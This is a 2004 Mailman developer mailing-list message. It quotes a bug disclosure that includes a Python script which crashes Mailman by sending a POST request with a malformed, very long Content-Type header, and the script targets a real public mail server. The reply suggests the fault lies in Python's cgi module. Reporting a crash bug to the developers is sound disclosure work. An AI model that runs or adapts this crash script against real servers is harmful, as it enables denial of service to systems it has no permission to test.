[Mailman-Developers] Crash in Mailman HTTP header parsing

Tokio Kikuchi tkikuchi at is.kochi-u.ac.jp
Sun Mar 7 01:38:45 EST 2004


Isn't this a bug in the cgi module?
I tested a simple python cgi and get similar result every time if the 
method is POST and Content-Type is in the request header.

ned wrote:

> i List,
> Attached is a python script to crash the latest mailman, and all mailman's 
> ive tried it on!
> Pretty simple to fix, just check if Content-Type is 'sane', but you all 
> know that!
> I might as well plug SMUDGE, my fuzzer i wrote which yielded this bug (i 
> was look for something with a little more depth, say a private list bypass 
> or a nice file reading bug ;)) but it turned up this, and a remotely 
> exploitable overflow in a core Apache module as well in the process!
> Anyhow, i'll keep looking for neet stuff.
> - nd
> 
> p.s SMUDGE @ http://felinemenace.org/~nd/SMUDGE
> 
> 
> ------------------------------------------------------------------------
> 
> import socket
> 
> crash = "POST /mailman/subscribe/mailman-users HTTP/1.1\r\n"
> crash += "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*"
> crash += "Referer: http://www.felinemenace.org/mailman/admin/python-security\r\n"
> crash += "Accept-Language: en-au\r\n"
> crash += "Content-Type: A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:\r\n"
> crash += "Accept-Encoding: gzip, deflate\r\n"
> crash += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)\r\n"
> crash += "Host: www.felinemenace.org\r\n"
> crash += "Content-Length: 89\r\n"
> crash += "Cache-Control: no-cache\r\n"
> crash += "\r\n\r\n"
> crash += "email=meepdoot at obfuscated.edu.au&pw=pythonsec&pw-conf=pythonsec&digest=0&email-button=Subscribe"
> crash += "\r\n\r\n"
> 
> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> s.connect(("mail.python.org",80))
> s.send(crash)
> print s.recv(10000)
> 
> 
> ------------------------------------------------------------------------




More information about the Mailman-Developers mailing list